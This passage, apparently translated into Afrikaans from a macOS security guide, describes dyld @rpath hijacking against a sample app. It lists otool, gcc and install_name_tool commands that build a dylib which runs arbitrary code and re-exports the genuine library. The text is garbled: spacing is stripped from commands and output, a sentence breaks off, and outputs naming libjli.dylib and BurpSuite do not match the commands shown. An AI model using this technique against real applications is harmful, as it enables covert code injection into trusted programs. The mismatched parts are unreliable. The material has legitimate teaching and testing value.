# Check where are the @rpath locationsotool-l"/Applications/VulnDyld.app/Contents/Resources/lib/binary"|grepLC_RPATH-A2cmdLC_RPATHcmdsize32path@loader_path/. (offset 12)--cmdLC_RPATHcmdsize32path@loader_path/../lib2 (offset 12)
# Check librareis loaded using @rapth and the used versionsotool-l"/Applications/VulnDyld.app/Contents/Resources/lib/binary"|grep"@rpath"-A3name@rpath/lib.dylib (offset 24)time stamp 2 Thu Jan 1 01:00:02 1970currentversion1.0.0compatibilityversion1.0.0# Check the versions
Met die vorige inligting weet ons dat dit nie die handtekening van die gelaai biblioteke nagaan nie en dit probeer 'n biblioteek laai vanaf:
So, dit is moontlik om dit te kaap! Skep 'n biblioteek wat willekeurige kode uitvoer en dieselfde funksionaliteite uitvoer as die regte biblioteek deur dit weer uit te voer. En onthou om dit te kompileer met die verwagte weergawes:
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport
Die heruitvoerpad geskep in die biblioteek is relatief tot die laaier, laat ons dit verander na 'n absolute pad na die biblioteek om uit te voer:
#Check relativeotool-l/tmp/lib.dylib|grepREEXPORT-A2cmdLC_REEXPORT_DYLIBcmdsize48name@rpath/libjli.dylib (offset 24)#Change the location of the library absolute to absolute pathinstall_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
# Check againotool-l/tmp/lib.dylib|grepREEXPORT-A2cmdLC_REEXPORT_DYLIBcmdsize128name/Applications/BurpSuiteProfessional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
As jy van plan is om te probeer om biblioteke in onverwagte binêre lêers in te spuit, kan jy die gebeurtenisboodskappe nagaan om uit te vind wanneer die biblioteek binne 'n proses gelaai word (in hierdie geval verwyder die printf en die /bin/bash uitvoering).